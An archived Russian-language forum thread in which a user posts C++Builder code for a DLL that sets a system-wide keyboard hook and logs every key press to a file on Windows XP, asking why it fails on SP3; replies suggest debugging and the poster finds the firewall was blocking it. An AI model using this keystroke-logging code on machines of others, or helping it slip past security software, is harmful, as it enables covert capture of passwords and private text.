PDA

Просмотр полной версии : Хуки и WinSP3


4p3
02.11.2008, 14:18
Столкнулся с проблемой, что простейший хук на клавиатуру не работает корректно на SP3. Тут же потестил на SP2 и все стало отлично работать? Что блокирует хук, если нет антивиря. Неужели встроенный фаервол работает?

Приведенный ниже код отказывался писать в файл.
Хотя все проверки выполнялись.

#include <windows.h>
#include <stdio.h>

#pragma data_seg(".SData")
static HHOOK hKey = 0;
static HANDLE hFile = INVALID_HANDLE_VALUE;
CRITICAL_SECTION cs;
#pragma data_seg()

DWORD __stdcall FileWrite(void *lpPoint);
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);

void StartHook(HINSTANCE hLib)
{
hKey = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardProc, hLib, 0);
hFile = CreateFile("C:\\outHook.txt",
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
InitializeCriticalSection(&cs);
if (hKey == NULL)
MessageBox(NULL, "Hook is not nested", "Error", MB_OK|MB_ICONERROR);
if (hFile == INVALID_HANDLE_VALUE)
MessageBox(NULL, "File is not created", "Error", MB_OK|MB_ICONERROR);
}

void RemoveHook()
{
UnhookWindowsHookEx(hKey);
}

#pragma argsused
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
if (fwdreason == DLL_PROCESS_DETACH || fwdreason == DLL_THREAD_DETACH)
UnhookWindowsHookEx(hKey);
return 1;
}
//---------------------------------------------------------------------------


DWORD __stdcall FileWrite(void *lpPoint)
{
char szBuffer[100];
ZeroMemory(szBuffer, 100);
DWORD dwWritten = 0;
DWORD *ScanCode = reinterpret_cast<DWORD*>(lpPoint);
itoa(*ScanCode, szBuffer, 16);

EnterCriticalSection(&cs);
WriteFile(hFile, szBuffer, strlen(szBuffer), &dwWritten, NULL);
WriteFile(hFile, "\n\r", 2, &dwWritten, NULL);
LeaveCriticalSection(&cs);

return 0;
}

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
DWORD IsDown, ScanCode;
IsDown = !(lParam >> 31);
ScanCode = lParam << 8;
ScanCode >>= 24;


if (IsDown && code == HC_ACTION)
{
CreateThread(NULL,
0,
FileWrite,
&ScanCode,
0,
0);

}

return 0;
}



Это код для CBuilder 6. Именно его я тестил на SP2 и SP3.

spider-intruder
02.11.2008, 17:43
Ну В файл писать отказался а перехват то работает или нет?! На каком этапе затыкается код при сп3 ?

GALIAFF
02.11.2008, 17:49
4p3, отладчик в руки.

4p3
02.11.2008, 19:17
Отключил фаервол, стало работать.
Сейчас будем разбираться в чем дело и где блочимся.

4p3
02.11.2008, 19:19
4p3, отладчик в руки.
Это само собой, просто я хотел услышать мнение людей, которые уже сталкивались с этой проблемой и знают её корни.